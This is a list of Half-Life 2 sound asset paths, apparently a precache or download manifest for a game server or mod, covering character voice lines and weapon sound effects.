+vo/npc/vortigaunt/prepare.wav +vo/npc/vortigaunt/prevail.wav +vo/npc/vortigaunt/propitious.wav +vo/npc/vortigaunt/putaside.wav +vo/npc/vortigaunt/reasondelay.wav +vo/npc/vortigaunt/regrettable.wav +vo/npc/vortigaunt/rememberus.wav +vo/npc/vortigaunt/returntoall.wav +vo/npc/vortigaunt/returnvoid.wav +vo/npc/vortigaunt/salute.wav +vo/npc/vortigaunt/satisfaction.wav +vo/npc/vortigaunt/seebeforeoureye.wav +vo/npc/vortigaunt/seenworse.wav +vo/npc/vortigaunt/servebetterhere.wav +vo/npc/vortigaunt/standclear.wav +vo/npc/vortigaunt/stillhere.wav +vo/npc/vortigaunt/surge.wav +vo/npc/vortigaunt/takeus.wav +vo/npc/vortigaunt/tethercut.wav +vo/npc/vortigaunt/thatisall.wav +vo/npc/vortigaunt/thefreeman.wav +vo/npc/vortigaunt/tothevoid.wav +vo/npc/vortigaunt/troubleus.wav +vo/npc/vortigaunt/trulyitis.wav +vo/npc/vortigaunt/undeserving.wav +vo/npc/vortigaunt/vanswer01.wav +vo/npc/vortigaunt/vanswer02.wav +vo/npc/vortigaunt/vanswer03.wav +vo/npc/vortigaunt/vanswer04.wav +vo/npc/vortigaunt/vanswer05.wav +vo/npc/vortigaunt/vanswer06.wav +vo/npc/vortigaunt/vanswer07.wav +vo/npc/vortigaunt/vanswer08.wav +vo/npc/vortigaunt/vanswer09.wav +vo/npc/vortigaunt/vanswer10.wav +vo/npc/vortigaunt/vanswer11.wav +vo/npc/vortigaunt/vanswer12.wav +vo/npc/vortigaunt/vanswer13.wav +vo/npc/vortigaunt/vanswer14.wav +vo/npc/vortigaunt/vanswer15.wav +vo/npc/vortigaunt/vanswer16.wav +vo/npc/vortigaunt/vanswer17.wav +vo/npc/vortigaunt/vanswer18.wav +vo/npc/vortigaunt/vmono_03.wav +vo/npc/vortigaunt/vmono_04.wav +vo/npc/vortigaunt/vmono_05.wav +vo/npc/vortigaunt/vmono_06.wav +vo/npc/vortigaunt/vmono_07.wav +vo/npc/vortigaunt/vmono_08.wav +vo/npc/vortigaunt/vmono_09.wav +vo/npc/vortigaunt/vmono_10.wav +vo/npc/vortigaunt/vmono_11.wav +vo/npc/vortigaunt/vmono_12.wav +vo/npc/vortigaunt/vmono_13.wav +vo/npc/vortigaunt/vmono_14.wav +vo/npc/vortigaunt/vmono_15.wav +vo/npc/vortigaunt/vmono_16.wav +vo/npc/vortigaunt/vmono_17.wav +vo/npc/vortigaunt/vmono_18.wav +vo/npc/vortigaunt/vmono_19.wav +vo/npc/vortigaunt/vmono_20.wav +vo/npc/vortigaunt/vmono_21.wav +vo/npc/vortigaunt/vmono_22.wav +vo/npc/vortigaunt/vmono_23.wav +vo/npc/vortigaunt/vmono_24.wav +vo/npc/vortigaunt/vmono_25.wav +vo/npc/vortigaunt/vmono_26.wav +vo/npc/vortigaunt/vmono_27.wav +vo/npc/vortigaunt/vmono_28.wav +vo/npc/vortigaunt/vmono_29.wav +vo/npc/vortigaunt/vmono_30.wav +vo/npc/vortigaunt/vortigese02.wav +vo/npc/vortigaunt/vortigese03.wav +vo/npc/vortigaunt/vortigese04.wav +vo/npc/vortigaunt/vortigese05.wav +vo/npc/vortigaunt/vortigese07.wav +vo/npc/vortigaunt/vortigese08.wav +vo/npc/vortigaunt/vortigese09.wav +vo/npc/vortigaunt/vortigese11.wav +vo/npc/vortigaunt/vortigese12.wav +vo/npc/vortigaunt/vques01.wav +vo/npc/vortigaunt/vques02.wav +vo/npc/vortigaunt/vques03.wav +vo/npc/vortigaunt/vques04.wav +vo/npc/vortigaunt/vques05.wav +vo/npc/vortigaunt/vques06.wav +vo/npc/vortigaunt/vques07.wav +vo/npc/vortigaunt/vques08.wav +vo/npc/vortigaunt/vques09.wav +vo/npc/vortigaunt/vques10.wav +vo/npc/vortigaunt/ware.wav +vo/npc/vortigaunt/warefm.wav +vo/npc/vortigaunt/warningfm.wav +vo/npc/vortigaunt/weareyours.wav +vo/npc/vortigaunt/webeofuse.wav +vo/npc/vortigaunt/weclaimyou.wav +vo/npc/vortigaunt/wefollowfm.wav +vo/npc/vortigaunt/wehonored.wav +vo/npc/vortigaunt/weknowyou.wav +vo/npc/vortigaunt/wellmet.wav +vo/npc/vortigaunt/weshare.wav +vo/npc/vortigaunt/wewillcharge.wav +vo/npc/vortigaunt/wewillhelp.wav +vo/npc/vortigaunt/whereto.wav +vo/npc/vortigaunt/willremain.wav +vo/npc/vortigaunt/worthless.wav +vo/npc/vortigaunt/yes.wav +vo/npc/vortigaunt/yesforward.wav +vo/ravenholm/aimforhead.wav +vo/ravenholm/attic_apologize.wav +vo/ravenholm/bucket_almost.wav +vo/ravenholm/bucket_brake.wav +vo/ravenholm/bucket_guardwell.wav +vo/ravenholm/bucket_patience.wav +vo/ravenholm/bucket_stepin.wav +vo/ravenholm/bucket_thereyouare.wav +vo/ravenholm/bucket_waited.wav +vo/ravenholm/cartrap_better.wav +vo/ravenholm/cartrap_iamgrig.wav +vo/ravenholm/engage01.wav +vo/ravenholm/engage02.wav +vo/ravenholm/engage03.wav +vo/ravenholm/engage04.wav +vo/ravenholm/engage05.wav +vo/ravenholm/engage06.wav +vo/ravenholm/engage07.wav +vo/ravenholm/engage08.wav +vo/ravenholm/engage09.wav +vo/ravenholm/exit_darkroad.wav +vo/ravenholm/exit_goquickly.wav +vo/ravenholm/exit_hurry.wav +vo/ravenholm/exit_nag01.wav +vo/ravenholm/exit_nag02.wav +vo/ravenholm/exit_salvation.wav +vo/ravenholm/firetrap_freeuse.wav +vo/ravenholm/firetrap_lookout.wav +vo/ravenholm/firetrap_vigil.wav +vo/ravenholm/firetrap_welldone.wav +vo/ravenholm/grave_follow.wav +vo/ravenholm/grave_stayclose.wav +vo/ravenholm/madlaugh01.wav +vo/ravenholm/madlaugh02.wav +vo/ravenholm/madlaugh03.wav +vo/ravenholm/madlaugh04.wav +vo/ravenholm/monk_blocked01.wav +vo/ravenholm/monk_blocked02.wav +vo/ravenholm/monk_blocked03.wav +vo/ravenholm/monk_coverme01.wav +vo/ravenholm/monk_coverme02.wav +vo/ravenholm/monk_coverme03.wav +vo/ravenholm/monk_coverme04.wav +vo/ravenholm/monk_coverme05.wav +vo/ravenholm/monk_coverme07.wav +vo/ravenholm/monk_danger01.wav +vo/ravenholm/monk_danger02.wav +vo/ravenholm/monk_danger03.wav +vo/ravenholm/monk_death07.wav +vo/ravenholm/monk_followme.wav +vo/ravenholm/monk_giveammo01.wav +vo/ravenholm/monk_givehealth01.wav +vo/ravenholm/monk_helpme01.wav +vo/ravenholm/monk_helpme02.wav +vo/ravenholm/monk_helpme03.wav +vo/ravenholm/monk_helpme04.wav +vo/ravenholm/monk_helpme05.wav +vo/ravenholm/monk_kill01.wav +vo/ravenholm/monk_kill02.wav +vo/ravenholm/monk_kill03.wav +vo/ravenholm/monk_kill04.wav +vo/ravenholm/monk_kill05.wav +vo/ravenholm/monk_kill06.wav +vo/ravenholm/monk_kill07.wav +vo/ravenholm/monk_kill08.wav +vo/ravenholm/monk_kill09.wav +vo/ravenholm/monk_kill10.wav +vo/ravenholm/monk_kill11.wav +vo/ravenholm/monk_mourn01.wav +vo/ravenholm/monk_mourn02.wav +vo/ravenholm/monk_mourn03.wav +vo/ravenholm/monk_mourn04.wav +vo/ravenholm/monk_mourn05.wav +vo/ravenholm/monk_mourn06.wav +vo/ravenholm/monk_mourn07.wav +vo/ravenholm/monk_overhere.wav +vo/ravenholm/monk_pain01.wav +vo/ravenholm/monk_pain02.wav +vo/ravenholm/monk_pain03.wav +vo/ravenholm/monk_pain04.wav +vo/ravenholm/monk_pain05.wav +vo/ravenholm/monk_pain06.wav +vo/ravenholm/monk_pain07.wav +vo/ravenholm/monk_pain08.wav +vo/ravenholm/monk_pain09.wav +vo/ravenholm/monk_pain10.wav +vo/ravenholm/monk_pain12.wav +vo/ravenholm/monk_quicklybro.wav +vo/ravenholm/monk_rant01.wav +vo/ravenholm/monk_rant02.wav +vo/ravenholm/monk_rant03.wav +vo/ravenholm/monk_rant04.wav +vo/ravenholm/monk_rant05.wav +vo/ravenholm/monk_rant06.wav +vo/ravenholm/monk_rant07.wav +vo/ravenholm/monk_rant08.wav +vo/ravenholm/monk_rant09.wav +vo/ravenholm/monk_rant10.wav +vo/ravenholm/monk_rant11.wav +vo/ravenholm/monk_rant12.wav +vo/ravenholm/monk_rant13.wav +vo/ravenholm/monk_rant14.wav +vo/ravenholm/monk_rant15.wav +vo/ravenholm/monk_rant16.wav +vo/ravenholm/monk_rant17.wav +vo/ravenholm/monk_rant18.wav +vo/ravenholm/monk_rant19.wav +vo/ravenholm/monk_rant20.wav +vo/ravenholm/monk_rant21.wav +vo/ravenholm/monk_rant22.wav +vo/ravenholm/monk_stayclosebro.wav +vo/ravenholm/pyre_anotherlife.wav +vo/ravenholm/pyre_keepeye.wav +vo/ravenholm/shotgun_advice.wav +vo/ravenholm/shotgun_bettergun.wav +vo/ravenholm/shotgun_catch.wav +vo/ravenholm/shotgun_closer.wav +vo/ravenholm/shotgun_hush.wav +vo/ravenholm/shotgun_keepitclose.wav +vo/ravenholm/shotgun_moveon.wav +vo/ravenholm/shotgun_overhere.wav +vo/ravenholm/shotgun_stirreduphell.wav +vo/ravenholm/shotgun_theycome.wav +vo/ravenholm/wrongside_howcome.wav +vo/ravenholm/wrongside_mendways.wav +vo/ravenholm/wrongside_seekchurch.wav +vo/ravenholm/wrongside_town.wav +vo/ravenholm/yard_greetings.wav +vo/ravenholm/yard_shepherd.wav +vo/ravenholm/yard_suspect.wav +vo/ravenholm/yard_traps.wav +vo/Streetwar/Alyx_gate/al_ah.wav +vo/Streetwar/Alyx_gate/al_ahno.wav +vo/Streetwar/Alyx_gate/al_cmoncmon.wav +vo/Streetwar/Alyx_gate/al_comeon03_r.wav +vo/Streetwar/Alyx_gate/al_commandcenter.wav +vo/Streetwar/Alyx_gate/al_coreexposed.wav +vo/Streetwar/Alyx_gate/al_coreexposed_r.wav +vo/Streetwar/Alyx_gate/al_disablegen.wav +vo/Streetwar/Alyx_gate/al_exposecore_a.wav +vo/Streetwar/Alyx_gate/al_exposecore_b.wav +vo/Streetwar/Alyx_gate/al_extshield.wav +vo/Streetwar/Alyx_gate/al_extshield_r.wav +vo/Streetwar/Alyx_gate/al_farside.wav +vo/Streetwar/Alyx_gate/al_gateisopen_r.wav +vo/Streetwar/Alyx_gate/al_gordonrun.wav +vo/Streetwar/Alyx_gate/al_hadfeeling.wav +vo/Streetwar/Alyx_gate/al_heregoes.wav +vo/Streetwar/Alyx_gate/al_hey.wav +vo/Streetwar/Alyx_gate/al_hurry.wav +vo/Streetwar/Alyx_gate/al_imwaiting_r.wav +vo/Streetwar/Alyx_gate/al_inshield.wav +vo/Streetwar/Alyx_gate/al_inshield_r.wav +vo/Streetwar/Alyx_gate/al_letsgo.wav +vo/Streetwar/Alyx_gate/al_letsgo01.wav +vo/Streetwar/Alyx_gate/al_letsgo02_r.wav +vo/Streetwar/Alyx_gate/al_no.wav +vo/Streetwar/Alyx_gate/al_nottoolong.wav +vo/Streetwar/Alyx_gate/al_nowtobarney.wav +vo/Streetwar/Alyx_gate/al_okthisisit.wav +vo/Streetwar/Alyx_gate/al_openinggate.wav +vo/Streetwar/Alyx_gate/al_readywhenyou.wav +vo/Streetwar/Alyx_gate/al_scout.wav +vo/Streetwar/Alyx_gate/al_standardpanel.wav +vo/Streetwar/Alyx_gate/al_thatsit.wav +vo/Streetwar/Alyx_gate/al_thatsit_r.wav +vo/Streetwar/Alyx_gate/al_thatway.wav +vo/Streetwar/Alyx_gate/al_theysawus.wav +vo/Streetwar/Alyx_gate/al_thrudownthere.wav +vo/Streetwar/Alyx_gate/al_usedtobe.wav +vo/Streetwar/Alyx_gate/al_usegravgun01.wav +vo/Streetwar/Alyx_gate/al_usegravgun01_r.wav +vo/Streetwar/Alyx_gate/al_usegravgun02.wav +vo/Streetwar/Alyx_gate/al_usegravgun02_r.wav +vo/Streetwar/Alyx_gate/al_usegravgun03.wav +vo/Streetwar/Alyx_gate/al_usegravgun03_r.wav +vo/Streetwar/Alyx_gate/al_waitforme.wav +vo/Streetwar/Alyx_gate/al_watchmyback.wav +vo/Streetwar/barricade/female01/c17_05_firepit_greet.wav +vo/Streetwar/barricade/female01/c17_05_hoppers.wav +vo/Streetwar/barricade/female01/c17_05_letusthru.wav +vo/Streetwar/barricade/female01/c17_05_minehelp1.wav +vo/Streetwar/barricade/female01/c17_05_minehelp2.wav +vo/Streetwar/barricade/female01/c17_05_opengate.wav +vo/Streetwar/barricade/male01/c17_05_firepit_greet.wav +vo/Streetwar/barricade/male01/c17_05_hoppers.wav +vo/Streetwar/barricade/male01/c17_05_letusthru.wav +vo/Streetwar/barricade/male01/c17_05_minehelp1.wav +vo/Streetwar/barricade/male01/c17_05_minehelp2.wav +vo/Streetwar/barricade/male01/c17_05_opengate.wav +vo/Streetwar/nexus/ba_alldown.wav +vo/Streetwar/nexus/ba_comingfromroof.wav +vo/Streetwar/nexus/ba_done.wav +vo/Streetwar/nexus/ba_firstgetin.wav +vo/Streetwar/nexus/ba_gateintro.wav +vo/Streetwar/nexus/ba_headforroof.wav +vo/Streetwar/nexus/ba_ifcitscomethru.wav +vo/Streetwar/nexus/ba_illopenthis.wav +vo/Streetwar/nexus/ba_keepgate.wav +vo/Streetwar/nexus/ba_lasers_goforit.wav +vo/Streetwar/nexus/ba_lastone.wav +vo/Streetwar/nexus/ba_nexusahead.wav +vo/Streetwar/nexus/ba_ourgate.wav +vo/Streetwar/nexus/ba_ownsroof.wav +vo/Streetwar/nexus/ba_prisoners.wav +vo/Streetwar/nexus/ba_rollgrenade.wav +vo/Streetwar/nexus/ba_roofaccess.wav +vo/Streetwar/nexus/ba_seeyou.wav +vo/Streetwar/nexus/ba_settraps.wav +vo/Streetwar/nexus/ba_shieldlobby.wav +vo/Streetwar/nexus/ba_skybreinf.wav +vo/Streetwar/nexus/ba_spotted.wav +vo/Streetwar/nexus/ba_suppressordown.wav +vo/Streetwar/nexus/ba_supp_nothurt.wav +vo/Streetwar/nexus/ba_surrounded.wav +vo/Streetwar/nexus/ba_thenletsgo.wav +vo/Streetwar/nexus/ba_threegen.wav +vo/Streetwar/nexus/ba_totheroof.wav +vo/Streetwar/nexus/ba_turretsyoudeal.wav +vo/Streetwar/nexus/ba_twotogo.wav +vo/Streetwar/nexus/ba_uhohdropships.wav +vo/Streetwar/nexus/ba_usehoppers.wav +vo/Streetwar/nexus/ba_vista01.wav +vo/Streetwar/nexus/ba_vista02.wav +vo/Streetwar/nexus/ba_yougotgravgun.wav +vo/Streetwar/nexus/female01/c17_10_letusout.wav +vo/Streetwar/nexus/female01/d3_c17_12_rockets.wav +vo/Streetwar/nexus/male01/c17_10_heshere.wav +vo/Streetwar/nexus/male01/c17_10_letusout.wav +vo/Streetwar/nexus/male01/d3_c17_12_rockets.wav +vo/Streetwar/rubble/ba_comebackdog.wav +vo/Streetwar/rubble/ba_damnitall.wav +vo/Streetwar/rubble/ba_dogwantsyou.wav +vo/Streetwar/rubble/ba_gordon.wav +vo/Streetwar/rubble/ba_helpmeout.wav +vo/Streetwar/rubble/ba_illbedamned.wav +vo/Streetwar/rubble/ba_lookingforalyx.wav +vo/Streetwar/rubble/ba_nag_wall01.wav +vo/Streetwar/rubble/ba_nag_wall02.wav +vo/Streetwar/rubble/ba_nag_wall03.wav +vo/Streetwar/rubble/ba_nag_wall04.wav +vo/Streetwar/rubble/ba_nag_wall05.wav +vo/Streetwar/rubble/ba_nottheredog.wav +vo/Streetwar/rubble/ba_tellbreen.wav +vo/Streetwar/rubble/ba_trystoppinghim.wav +vo/Streetwar/rubble/d3_c17_13_cache.wav +vo/Streetwar/rubble/d3_c17_13_striders.wav +vo/Streetwar/rubble/female01/d3_c17_13_horse01.wav +vo/Streetwar/rubble/female01/d3_c17_13_horse02.wav +vo/Streetwar/rubble/male01/d3_c17_13_horse01.wav +vo/Streetwar/rubble/male01/d3_c17_13_horse02.wav +vo/Streetwar/sniper/ba_cantmove.wav +vo/Streetwar/sniper/ba_gateclearance.wav +vo/Streetwar/sniper/ba_goodtohavehelp.wav +vo/Streetwar/sniper/ba_hauntsme.wav +vo/Streetwar/sniper/ba_headhumpersgordon.wav +vo/Streetwar/sniper/ba_hearcat.wav +vo/Streetwar/sniper/ba_heycomeon.wav +vo/Streetwar/sniper/ba_letsclearout.wav +vo/Streetwar/sniper/ba_letsgetgoing.wav +vo/Streetwar/sniper/ba_nag_grenade01.wav +vo/Streetwar/sniper/ba_nag_grenade02.wav +vo/Streetwar/sniper/ba_nag_grenade03.wav +vo/Streetwar/sniper/ba_nag_grenade04.wav +vo/Streetwar/sniper/ba_nag_grenade05.wav +vo/Streetwar/sniper/ba_onedownonetogo.wav +vo/Streetwar/sniper/ba_overhere.wav +vo/Streetwar/sniper/ba_returnhero.wav +vo/Streetwar/sniper/ba_takeoutsnipers.wav +vo/Streetwar/sniper/female01/c17_09_cellar.wav +vo/Streetwar/sniper/female01/c17_09_greeting.wav +vo/Streetwar/sniper/female01/c17_09_savebarney.wav +vo/Streetwar/sniper/male01/c17_09_cellar.wav +vo/Streetwar/sniper/male01/c17_09_greeting.wav +vo/Streetwar/sniper/male01/c17_09_help01.wav +vo/Streetwar/sniper/male01/c17_09_help02.wav +vo/Streetwar/sniper/male01/c17_09_help03.wav +vo/Streetwar/sniper/male01/c17_09_savebarney.wav +vo/Streetwar/tunnel/female01/c17_06_det01.wav +vo/Streetwar/tunnel/female01/c17_06_det02.wav +vo/Streetwar/tunnel/female01/c17_06_det03.wav +vo/Streetwar/tunnel/female01/c17_06_det04.wav +vo/Streetwar/tunnel/female01/c17_06_det05.wav +vo/Streetwar/tunnel/female01/c17_06_keepmoving.wav +vo/Streetwar/tunnel/female01/c17_06_notsafe.wav +vo/Streetwar/tunnel/female01/c17_06_password01.wav +vo/Streetwar/tunnel/female01/c17_06_password02.wav +vo/Streetwar/tunnel/female01/c17_06_password04.wav +vo/Streetwar/tunnel/female01/c17_06_plank01.wav +vo/Streetwar/tunnel/female01/c17_06_plank02.wav +vo/Streetwar/tunnel/female01/c17_06_tunnel_greet.wav +vo/Streetwar/tunnel/female01/d3_c17_06_post_det01.wav +vo/Streetwar/tunnel/female01/d3_c17_06_post_det02.wav +vo/Streetwar/tunnel/female01/d3_c17_06_post_det04.wav +vo/Streetwar/tunnel/female01/d3_c17_07_tenant.wav +vo/Streetwar/tunnel/male01/c17_06_det01.wav +vo/Streetwar/tunnel/male01/c17_06_det02.wav +vo/Streetwar/tunnel/male01/c17_06_det03.wav +vo/Streetwar/tunnel/male01/c17_06_det04.wav +vo/Streetwar/tunnel/male01/c17_06_det05.wav +vo/Streetwar/tunnel/male01/c17_06_keepmoving.wav +vo/Streetwar/tunnel/male01/c17_06_notsafe.wav +vo/Streetwar/tunnel/male01/c17_06_password01.wav +vo/Streetwar/tunnel/male01/c17_06_password02.wav +vo/Streetwar/tunnel/male01/c17_06_password03.wav +vo/Streetwar/tunnel/male01/c17_06_password04.wav +vo/Streetwar/tunnel/male01/c17_06_plank01.wav +vo/Streetwar/tunnel/male01/c17_06_plank02.wav +vo/Streetwar/tunnel/male01/c17_06_tunnel_greet.wav +vo/Streetwar/tunnel/male01/d3_c17_06_post_det01.wav +vo/Streetwar/tunnel/male01/d3_c17_06_post_det02.wav +vo/Streetwar/tunnel/male01/d3_c17_06_post_det04.wav +vo/Streetwar/tunnel/male01/d3_c17_07_tenant.wav +vo/trainyard/al_dadstarted.wav +vo/trainyard/al_imalyx.wav +vo/trainyard/al_nicetomeet.wav +vo/trainyard/al_nicetomeet_b.wav +vo/trainyard/al_nomap.wav +vo/trainyard/al_noyoudont.wav +vo/trainyard/al_oldadmin.wav +vo/trainyard/al_overhere.wav +vo/trainyard/al_presume.wav +vo/trainyard/al_suspicious.wav +vo/trainyard/al_suspicious_b.wav +vo/trainyard/al_thisday.wav +vo/trainyard/al_thisday01.wav +vo/trainyard/al_thisday02.wav +vo/trainyard/al_thisday03.wav +vo/trainyard/al_thisday04.wav +vo/trainyard/al_thruhere.wav +vo/trainyard/ba_backup.wav +vo/trainyard/ba_blowcover.wav +vo/trainyard/ba_blowcover_b.wav +vo/trainyard/ba_checkpoints.wav +vo/trainyard/ba_citadel02.wav +vo/trainyard/ba_crowbar01.wav +vo/trainyard/ba_crowbar02.wav +vo/trainyard/ba_exitnag01.wav +vo/trainyard/ba_exitnag02.wav +vo/trainyard/ba_exitnag03.wav +vo/trainyard/ba_exitnag04.wav +vo/trainyard/ba_exitnag05.wav +vo/trainyard/ba_exitnag06.wav +vo/trainyard/ba_exitnag07.wav +vo/trainyard/ba_getin.wav +vo/trainyard/ba_getoutfast.wav +vo/trainyard/ba_goodluck01.wav +vo/trainyard/ba_goodluck02.wav +vo/trainyard/ba_goon.wav +vo/trainyard/ba_gottago.wav +vo/trainyard/ba_heygordon.wav +vo/trainyard/ba_inhere01.wav +vo/trainyard/ba_lookafterdoc.wav +vo/trainyard/ba_lookwho.wav +vo/trainyard/ba_meetyoulater01.wav +vo/trainyard/ba_move01.wav +vo/trainyard/ba_noimgood.wav +vo/trainyard/ba_oldcanals.wav +vo/trainyard/ba_ownway.wav +vo/trainyard/ba_privacy.wav +vo/trainyard/ba_rememberme.wav +vo/trainyard/ba_sorryscare.wav +vo/trainyard/ba_tellme01.wav +vo/trainyard/ba_tellme02.wav +vo/trainyard/ba_thatbeer01.wav +vo/trainyard/ba_thatbeer02.wav +vo/trainyard/ba_thinking01.wav +vo/trainyard/ba_undercover.wav +vo/trainyard/ba_youcomewith.wav +vo/trainyard/cit_blocker_getin.wav +vo/trainyard/cit_blocker_go01.wav +vo/trainyard/cit_blocker_go02.wav +vo/trainyard/cit_blocker_go03.wav +vo/trainyard/cit_blocker_holdem.wav +vo/trainyard/cit_blocker_roof.wav +vo/trainyard/cit_breenagain.wav +vo/trainyard/cit_cell_coupon.wav +vo/trainyard/cit_drunk.wav +vo/trainyard/cit_fence_onlyones.wav +vo/trainyard/cit_fence_woods.wav +vo/trainyard/cit_hall_psst.wav +vo/trainyard/cit_hall_roof.wav +vo/trainyard/cit_lug_allihave.wav +vo/trainyard/cit_lug_allright.wav +vo/trainyard/cit_nerve.wav +vo/trainyard/cit_pacing.wav +vo/trainyard/cit_raid_findone.wav +vo/trainyard/cit_raid_reason.wav +vo/trainyard/cit_raid_start.wav +vo/trainyard/cit_raid_use01.wav +vo/trainyard/cit_raid_use02.wav +vo/trainyard/cit_tookcase.wav +vo/trainyard/cit_tooloud.wav +vo/trainyard/cit_train_endline.wav +vo/trainyard/cit_train_geton.wav +vo/trainyard/cit_train_reloc.wav +vo/trainyard/cit_water.wav +vo/trainyard/cit_window_cop.wav +vo/trainyard/cit_window_hope.wav +vo/trainyard/cit_window_look.wav +vo/trainyard/cit_window_stand.wav +vo/trainyard/cit_window_usnext.wav +vo/trainyard/husb_allright.wav +vo/trainyard/husb_dontworry.wav +vo/trainyard/husb_okay.wav +vo/trainyard/husb_think.wav +vo/trainyard/kl_alyxaround.wav +vo/trainyard/kl_intend.wav +vo/trainyard/kl_morewarn01.wav +vo/trainyard/kl_morewarn02.wav +vo/trainyard/kl_morewarn03.wav +vo/trainyard/kl_verywell.wav +vo/trainyard/kl_whatisit01.wav +vo/trainyard/kl_whatisit02.wav +vo/trainyard/man_me.wav +vo/trainyard/man_waitaminute.wav +vo/trainyard/man_whereyoutakingme.wav +vo/trainyard/wife_canttake.wav +vo/trainyard/wife_end.wav +vo/trainyard/wife_please.wav +vo/trainyard/wife_whattodo.wav +vo/trainyard/female01/cit_bench01.wav +vo/trainyard/female01/cit_bench02.wav +vo/trainyard/female01/cit_bench03.wav +vo/trainyard/female01/cit_bench04.wav +vo/trainyard/female01/cit_foodline01.wav +vo/trainyard/female01/cit_foodline02.wav +vo/trainyard/female01/cit_foodline03.wav +vo/trainyard/female01/cit_foodline04.wav +vo/trainyard/female01/cit_hit01.wav +vo/trainyard/female01/cit_hit02.wav +vo/trainyard/female01/cit_hit03.wav +vo/trainyard/female01/cit_hit04.wav +vo/trainyard/female01/cit_hit05.wav +vo/trainyard/female01/cit_pedestrian01.wav +vo/trainyard/female01/cit_pedestrian02.wav +vo/trainyard/female01/cit_pedestrian03.wav +vo/trainyard/female01/cit_pedestrian04.wav +vo/trainyard/female01/cit_pedestrian05.wav +vo/trainyard/female01/cit_tvbust05.wav +vo/trainyard/female01/cit_window_use01.wav +vo/trainyard/female01/cit_window_use02.wav +vo/trainyard/female01/cit_window_use03.wav +vo/trainyard/female01/cit_window_use04.wav +vo/trainyard/male01/cit_bench01.wav +vo/trainyard/male01/cit_bench02.wav +vo/trainyard/male01/cit_bench03.wav +vo/trainyard/male01/cit_bench04.wav +vo/trainyard/male01/cit_foodline01.wav +vo/trainyard/male01/cit_foodline02.wav +vo/trainyard/male01/cit_foodline03.wav +vo/trainyard/male01/cit_foodline04.wav +vo/trainyard/male01/cit_hit01.wav +vo/trainyard/male01/cit_hit02.wav +vo/trainyard/male01/cit_hit03.wav +vo/trainyard/male01/cit_hit04.wav +vo/trainyard/male01/cit_hit05.wav +vo/trainyard/male01/cit_pedestrian01.wav +vo/trainyard/male01/cit_pedestrian02.wav +vo/trainyard/male01/cit_pedestrian03.wav +vo/trainyard/male01/cit_pedestrian04.wav +vo/trainyard/male01/cit_pedestrian05.wav +vo/trainyard/male01/cit_term_ques02.wav +vo/trainyard/male01/cit_tvbust05.wav +vo/trainyard/male01/cit_window_use01.wav +vo/trainyard/male01/cit_window_use02.wav +vo/trainyard/male01/cit_window_use03.wav +vo/trainyard/male01/cit_window_use04.wav +weapons/357_fire2.wav +weapons/debris1.wav +weapons/debris2.wav +weapons/debris3.wav +weapons/explode3.wav +weapons/explode4.wav +weapons/explode5.wav +weapons/grenade_launcher1.wav +weapons/physgun_off.wav +weapons/stinger_fire1.wav +weapons/underwater_explode3.wav +weapons/underwater_explode4.wav +weapons/357/357_fire2.wav +weapons/357/357_fire3.wav +weapons/357/357_reload1.wav +weapons/357/357_reload3.wav +weapons/357/357_reload4.wav +weapons/357/357_spin1.wav +weapons/airboat/airboat_gun_energy1.wav +weapons/airboat/airboat_gun_energy2.wav +weapons/airboat/airboat_gun_lastshot1.wav +weapons/airboat/airboat_gun_lastshot2.wav +weapons/airboat/airboat_gun_loop2.wav +weapons/ar1/ar1_dist1.wav +weapons/ar1/ar1_dist2.wav +weapons/ar2/ar2_altfire.wav +weapons/ar2/ar2_empty.wav +weapons/ar2/ar2_reload.wav +weapons/ar2/ar2_reload_push.wav +weapons/ar2/ar2_reload_rotate.wav +weapons/ar2/fire1.wav +weapons/ar2/npc_ar2_altfire.wav +weapons/ar2/npc_ar2_reload.wav +weapons/bugbait/bugbait_impact1.wav +weapons/bugbait/bugbait_impact3.wav +weapons/bugbait/bugbait_squeeze1.wav +weapons/bugbait/bugbait_squeeze2.wav +weapons/bugbait/bugbait_squeeze3.wav +weapons/cguard/charging.wav +weapons/crossbow/bolt_fly4.wav +weapons/crossbow/bolt_load1.wav +weapons/crossbow/bolt_load2.wav +weapons/crossbow/bolt_skewer1.wav +weapons/crossbow/fire1.wav +weapons/crossbow/hit1.wav +weapons/crossbow/hitbod1.wav +weapons/crossbow/hitbod2.wav +weapons/crossbow/reload1.wav +weapons/crowbar/crowbar_impact1.wav +weapons/crowbar/crowbar_impact2.wav +weapons/flaregun/burn.wav +weapons/flaregun/fire.wav +weapons/fx/nearmiss/bulletLtoR03.wav +weapons/fx/nearmiss/bulletLtoR04.wav +weapons/fx/nearmiss/bulletLtoR05.wav +weapons/fx/nearmiss/bulletLtoR06.wav +weapons/fx/nearmiss/bulletLtoR07.wav +weapons/fx/nearmiss/bulletLtoR09.wav +weapons/fx/nearmiss/bulletLtoR10.wav +weapons/fx/nearmiss/bulletLtoR11.wav +weapons/fx/nearmiss/bulletLtoR12.wav +weapons/fx/nearmiss/bulletLtoR13.wav +weapons/fx/nearmiss/bulletLtoR14.wav +weapons/fx/rics/ric1.wav +weapons/fx/rics/ric2.wav +weapons/fx/rics/ric3.wav +weapons/fx/rics/ric4.wav +weapons/fx/rics/ric5.wav +weapons/fx/tink/shotgun_shell1.wav +weapons/fx/tink/shotgun_shell2.wav +weapons/fx/tink/shotgun_shell3.wav +weapons/gauss/chargeloop.wav +weapons/gauss/fire1.wav +weapons/grenade/tick1.wav +weapons/iceaxe/iceaxe_swing1.wav +weapons/Irifle/irifle_fire2.wav +weapons/mortar/mortar_explode1.wav +weapons/mortar/mortar_explode2.wav +weapons/mortar/mortar_explode3.wav +weapons/mortar/mortar_fire1.wav +weapons/mortar/mortar_shell_incomming1.wav +weapons/physcannon/energy_bounce1.wav +weapons/physcannon/energy_bounce2.wav +weapons/physcannon/energy_disintegrate4.wav +weapons/physcannon/energy_disintegrate5.wav +weapons/physcannon/energy_sing_explosion2.wav +weapons/physcannon/energy_sing_flyby1.wav +weapons/physcannon/energy_sing_flyby2.wav +weapons/physcannon/energy_sing_loop4.wav +weapons/physcannon/hold_loop.wav +weapons/physcannon/physcannon_charge.wav +weapons/physcannon/physcannon_claws_close.wav +weapons/physcannon/physcannon_claws_open.wav +weapons/physcannon/physcannon_drop.wav +weapons/physcannon/physcannon_dryfire.wav +weapons/physcannon/physcannon_pickup.wav +weapons/physcannon/physcannon_tooheavy.wav +weapons/physcannon/superphys_hold_loop.wav +weapons/physcannon/superphys_launch1.wav +weapons/physcannon/superphys_launch2.wav +weapons/physcannon/superphys_launch3.wav +weapons/physcannon/superphys_launch4.wav +weapons/physcannon/superphys_small_zap1.wav +weapons/physcannon/superphys_small_zap2.wav 